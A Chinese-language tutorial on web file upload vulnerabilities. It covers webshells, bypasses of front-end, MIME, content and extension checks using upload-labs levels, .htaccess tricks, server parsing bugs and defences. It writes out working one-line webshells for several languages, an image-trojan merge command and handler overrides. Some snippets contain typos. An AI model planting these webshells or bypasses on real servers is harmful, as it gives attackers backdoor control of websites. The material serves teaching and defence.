文件上传漏洞
文件上传是Web应用到必备功能之一,比如上传头像显示个性化,上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。
- 漏洞成因
文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;另一方面,Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;再者就是,程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。 - 漏洞危害
上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果Web服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。
通过上传漏洞获得的网站后门,就是WebShell。 - WebShell
在计算机科学中,Shell俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下bash等,虽然这些系统上的命令解释器不止一种。
WebShell是一个网站的后门,也是一个命令解释器,不过是以Web方式(HTTP协议)通信(传递命令消息),继承了Web用户的权限。WebShell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp等,也就是说WebShell接收来自于Web用户的命令,然后在服务器端执行。 - 大马
WebShell也可以是大马,也是网站木马。有一类WebShell之所以叫大马,是因为与小马(一句话木马)区分开,并且大码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。
在大马中我们可以进行文件管理,执行系统命令与一些其他定制功能。 - 小马
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。
#ASP:
<%eval request("cmd")%>
#ASP.NET
<%@ Page Language="Jscript"%>"
<%eval(Request.Item["cmd","unsafe"]);%>
#PHP
<?php @eval($_REQUEST["cmd"]);?>
#JSP
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php的一句话木马,密码就是[cmd]。
中国菜刀与一句话木马配合实现了三大基本功能,如下:
- 文件管理
- 虚拟终端
- 数据库管理
- GetShell
GetShell顾名思义就是获取Web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径。
文件上传漏洞利用的条件
- 一定的条件
Web服务器要开启文件上传功能,并且上传api(接口)对外“开放”(Web用户可以访问);
Web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录都有执行权限。
要想完美利用文件上传漏洞就,需要上传的文件可以执行,也就是Web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
无视以上条件的情况就是服务器配置不当,开启了PUT方法。
防御、绕过、利用
文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。所以,下文也是以这种方式讨论文件上传的问题。
- 黑白名单策略
黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体”在黑名单中,一律“禁止”,如果“客体”在白名单中一律“允许”。类似于手机号码的黑白名单。
举例:
1、Chrome浏览器中的黑白名单策略
政策 说明
URLBlacklist:
禁止用户访问您已阻止的网址。不过,用户可以访问黑名单之外的所有网址。不设置此政策:用户将可以自由访问所有网址。
URLWhitelist:
将此政策与URLBlacklist政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问;白名单优先级高于黑名单。您至少要在黑名单中添加一个条目,才能正常使用此策略;不设置此策略:网址黑名单将没有例外网址。
2、华为收集安装软件黑白名单策略
模式 说明
白名单模式,检查只能安装的软件:
只允许终端主机安装软件白名单中的软件,安装其他软件则属于违规行为;
对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装该软件,则属于违规行为;
对于白名单中的软件,该软件不属于必须安装类软件,而终端主机未安装该软件,则不属于违规行为。
白名单+黑名单模式,检查必须安装的软件和禁止安装的软件:
如果终端主机未安装白名单中的任意一款软件,则属于违规行为;
如果终端主机已经安装黑名单中的任意一款软件,则属于违规行为;
如果终端主机已经安装白名单中所有软件,并且没有安装黑名单中的任意一款软件,则不属于违规行为。
PUT方法上传文件 (心跳检测)
HTTP请求方法之一,允许向服务器直接写入文件。
1、Apache如何开启PUT方法
@ 测试Apache是否开启了put方法
telnet ip 80
OPTIONS / HTTP/1.1
HOST:ip
@ Apache开启put方法操作
Apache如何查看与设置PUT请求+利用PUT方法上传文件
httpd.conf 文件
开启模块
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
启用模块
<Directory />
Options + Indexes + FollowSymLinks + ExecCGI
AllowOverride All
Order allow,deny
Require all granted
DAV On
<Directory />
开启文件锁
DavKockDB c:\phpstudy\www\DavLock
上传文件
PUT /info.php HTTP/1.1
Host :ip
Content-Length:18
<?php phpinfo();?>
两类验证方法
1、前端限制与绕过
有些Web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等。upload-labs第一关,以下是经典的代码:
<script type="text/javascript">
function checkFile(){
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == ""){
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexoOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name)==-1){
var errMsg = "该文件不允许上传,请上传"+allow_ext+"类型文件,当前文件类型为:"+ext_name;
alert(errMsg);
return false;
}
}
</script>
此段JS代码采用白名单策略,检测文件后缀名。配合表单事件使用。
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
前端JS脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。
方法1:因为JS脚本的运行环境是浏览器,我们可以修改JS代码,甚至删除表单事件。
方法2:使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可。
2、服务器端验证
对于文件上传,只从Web前端进行检测显然防护不足,那么服务器端检测就特别重要了。一般服务器端检测,采用黑白名单策略,检测如下内容。
- 服务器端检测-MIME类型
MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下
文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf
在HTTP协议中,使用Content-Type字段表示文件的MIME类型,当我们上传文件的时候,抓到HTTP数据包。在服务器端会检测Content-Type类型,upload-labs第二关,经典代码如下:
if(isset($_POST['submit'])){
if(file_exists($UPLOAD_ADDR)){
if(($_FILES['upload_file']['type']=='image/jpeg')||($_FILES['upload_file']['type']=='image/png')||($_FILES['upload_file']['type']=='image/gif')){
if(move_uploaded_file($_FILES['upload_file']['tmp_name'],$UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])){
$img_path=$UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload=true;}
}else{
$msg='文件类型不正确,请重新上传!';
}
}else{
$msg=$UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,所以可以用Burp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件。
- 访问上传的文件
服务器端检测–文件内容
除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容。PHP中有一个函数getimagesize(),这个函数本意是检查图片大小,但是在检查之前,该函数会判断目标文件是否是一张图片。因此,可以用该函数来检测文件的内容。upload-load14关。
function isImage($filename){
$types='.jpeh|.png|.gif';
if(file_exists($filename)){
$info=getimagesize($filename);
$ext=image_type_toextension($info[2]);
if(strupos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
对于文件内容检测,可以通过制作上传图片木马绕过
图片木马制作(将恶意脚本写入图片中)
1、GIF89a
2、文件合并
命令行方法,准备一个图片和木马文件通过以下命令将两个文件合二为一。
[copy smile.jpg/b+info.php/a smileInfo.jpg]
可能受到图片源码影响,这时候换一张图片,或者使用别的方法
利用十六进制编辑器
所有jpg图片的文件头部是相同的,png和gif也是一样的。(文件幻数)
gif:47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
jpg:FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
png89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
服务器端检测–后缀名
服务器端还会检测文件后缀名
服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传php|asp|aspx|jsp…等可执行脚本的文件;白名单策略,只允许上传jpg|gif|png|doc|rar…等格式的文件。
- @黑名单
代码中$deny_ext数据就是一个黑名单,数组元素就是不允许上传的类型。
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。
可以执行脚本后缀名
.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa .cer
.jsp .jspx - @白名单
对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名。
截断
00截断
00截断就是Null(空)字符(c语言),URL中表现为%00,00截断会导致文件上传路径截断。
以upload-labs第十一关为例子说明这个问题。
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
.htaccess攻击
.htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。
如果一个Web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apache的配置,这是十分危险的。.htaccess攻击想象空间非常大。
首先看Apache的配置文件,允许.htaccess文件覆盖掉Apache的配置。
# .htaccess文件 (easy).
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
- 将.png文件当作PHP文件解析
将一些代码写入文件,并保存成.htaccess名字,放到测试目录下
AddTyoe application/x-httpd-php.png
在同一目录下创建一个文件[info.png],文件内容如下
#info.png
<?php
phpinfo();
?>
当我们访问该文件时,[info.png]内的PHP代码将会被执行。
- 文件名中包含php关键字
当文件名[info.php.png]中包含关键字[.php],并且.htaccess文件内容如下,info.php.png中的代码会被执行。
AddHandler php5-script php - 匹配文件名
以下配置是匹配文件名[ajest],找到该文件,并执行其中的PHP代码
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
- upload-labs 第四关
先上传[.htaccess]文件
再上传[ajest]
Web容器解析漏洞
Web容器解析漏洞,就是Web容器在解析脚本出现的“bug”
- Apache解析漏洞(解析顺序从后向前-古老)
info.php.xxx.xx.x - IIS6.0解析漏洞
1、asp;.jpg
time.asp;.jpg
2、1.asp/time.jpg - PHP CGI解析漏洞
1、需要IIS7.0/7.5
IIS7.0/7.5+PHP环境
让IIS7.0/7.5支持PHP环境
http://localhost:8000/info.png/1.php
2、Nginx解析漏洞
/info.png/1.php - Nginx空字节漏洞
- Nginx文件名逻辑漏洞(CVE-2013-4745)
常见编辑器上传
编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。
- ewebeditor
- fckeditor
常见CMS上传
dedeCMS、PHPcms
南方数据管理系统
注入点
asp|access|.MDB|下载
利用数据库备份进行文件上传(getshell)
metinfov5.0.4文件上传
文件上传漏洞的防御
关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片码中的恶意代码。如果一个Web应用能够上传图片木马,那么我们认为这个Web应用是不安全的。文件上传漏洞的防御主要从以下几个方面考虑。
- 代码角度
采用白名单策略。严格限制上传文件的后缀名。
进行二次渲染,过滤掉图片码中的恶意代码。
上传文件重命名,尽量少的从客户端获取信息。
避免文件包含漏洞。
严格处理文件路径,防御00截断漏洞,避开空格、点、::$DATA等windows特性。 - 服务器角度
及时更新Web容器,防止解析漏洞产生。
可写目录不给执行权限。